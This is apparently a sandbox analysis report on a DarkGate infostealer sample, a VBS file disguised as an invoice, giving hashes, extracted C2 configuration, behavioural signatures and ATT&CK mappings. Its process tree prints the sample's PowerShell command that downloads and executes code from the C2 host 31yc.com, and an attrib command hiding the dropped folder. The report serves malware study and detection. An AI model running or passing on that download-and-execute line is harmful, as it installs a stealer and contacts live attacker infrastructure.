darkgate | 5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831

General

Target

QB-04_02_24_inv765541BA.vbs
Size

8KB
MD5

29552b793e8d97538afff1aaf566a625
SHA1

e3931fca0386f00e1c246039c3491b686e5d8354
SHA256

5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831
SHA512

a847bcc585e75118920548bce0ab85cc4f9f3305052dc835a2cdf7ec127982e7d2e94519505c73c429709665b231ba259477f5efe468815ea1c237edd247f2f6
SSDEEP

192:YMg119gkCtL3IqSPN3QzGNzUoNJnN/Y99957:jy19gR3IquNgzG2oNl4

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

31yc.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
xIpQnKfo
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/2192-42-0x0000000002820000-0x0000000002893000-memory.dmp	family_darkgate_v6
behavioral2/memory/2192-45-0x0000000002820000-0x0000000002893000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 4 IoCs

flow	pid	Process
8	3580	powershell.exe
10	3580	powershell.exe
19	3580	powershell.exe
21	3580	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
2192	KeyScramblerLogon.exe

Loads dropped DLL 2 IoCs

pid	Process
2192	KeyScramblerLogon.exe
2192	KeyScramblerLogon.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	KeyScramblerLogon.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	KeyScramblerLogon.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3580	powershell.exe
3580	powershell.exe
2192	KeyScramblerLogon.exe
2192	KeyScramblerLogon.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3580	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4708 wrote to memory of 3580	4708	WScript.exe	93
PID 4708 wrote to memory of 3580	4708	WScript.exe	93
PID 3580 wrote to memory of 2192	3580	powershell.exe	103
PID 3580 wrote to memory of 2192	3580	powershell.exe	103
PID 3580 wrote to memory of 2192	3580	powershell.exe	103
PID 3580 wrote to memory of 884	3580	powershell.exe	104
PID 3580 wrote to memory of 884	3580	powershell.exe	104

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
884	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\QB-04_02_24_inv765541BA.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '31yc.com/sjcgwjvm')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3580
- - C:\tket\KeyScramblerLogon.exe
    "C:\tket\KeyScramblerLogon.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:2192
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/tket/
    3⤵
    - Views/modifies file attributes
    PID:884

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4160 --field-trial-handle=2236,i,5367110156796017614,12594004256180761011,262144 --variations-seed-version /prefetch:8
1⤵
PID:3228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jiglqppq.afk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\tket\KeyScramblerIE.dll

Filesize
704KB

MD5
663e2ab731eed87f5e26fbd057490abb

SHA1
5a81a315eeecac7c6c0878e9207e550e7c45f169

SHA256
45793173506de756408a577835d90161a0720c5fe2242f791bcef190556af796

SHA512
027a0da4826e8d858519c65c83896a11569aa8327ddd257fa8fca0fc07b474c98b1ea34c76e6c2a0018b5121fd40bdb6d092d0be7afa37b826066cdd26bfa49b

Download Submit
C:\tket\KeyScramblerLogon.exe

Filesize
500KB

MD5
c790ebfcb6a34953a371e32c9174fe46

SHA1
3ead08d8bbdb3afd851877cb50507b77ae18a4d8

SHA256
fa7ad2f45128120bccc33f996f87a81faa2e9c1236666dd69b943a755f332eb1

SHA512
74e3ab12b2a2d5c45c5248dd2225bfbcf237a01ef94fdca3fe99cfde11bd7d0ccd25dd7f26bd283997d951f4df7e8f4b35f9475a32bdb854d6cc8867b2c45554

Download Submit
C:\tket\test.txt

Filesize
457KB

MD5
53feeff1344bc6c48eddbc4fec8be3a7

SHA1
ac4b206b30a3a69a5f77122433fdc255f903e36e

SHA256
d7bba151c501ecb9a936cf1ab64620cafbd2284773e73d8390f9d0d3b73a98fa

SHA512
7bae83045a7f0a541e4b9e66a5d5ff080b9ef0c00f165092a8f88e450caafe29442619c04b537fcd4e7105554aabeabda135727c1c1e1a2b001b5e0a13484f6b

Download Submit
memory/2192-40-0x0000000000E10000-0x0000000000EC5000-memory.dmp

Filesize
724KB

Download
memory/2192-45-0x0000000002820000-0x0000000002893000-memory.dmp

Filesize
460KB

Download
memory/2192-44-0x0000000000E10000-0x0000000000EC5000-memory.dmp

Filesize
724KB

Download
memory/2192-42-0x0000000002820000-0x0000000002893000-memory.dmp

Filesize
460KB

Download
memory/3580-13-0x000002498B150000-0x000002498B160000-memory.dmp

Filesize
64KB

Download
memory/3580-0-0x00007FFBEE3D0000-0x00007FFBEEE91000-memory.dmp

Filesize
10.8MB

Download
memory/3580-35-0x00007FFBEE3D0000-0x00007FFBEEE91000-memory.dmp

Filesize
10.8MB

Download
memory/3580-14-0x00000249A5FB0000-0x00000249A6172000-memory.dmp

Filesize
1.8MB

Download
memory/3580-2-0x000002498B150000-0x000002498B160000-memory.dmp

Filesize
64KB

Download
memory/3580-12-0x000002498B600000-0x000002498B622000-memory.dmp

Filesize
136KB

Download
memory/3580-1-0x000002498B150000-0x000002498B160000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads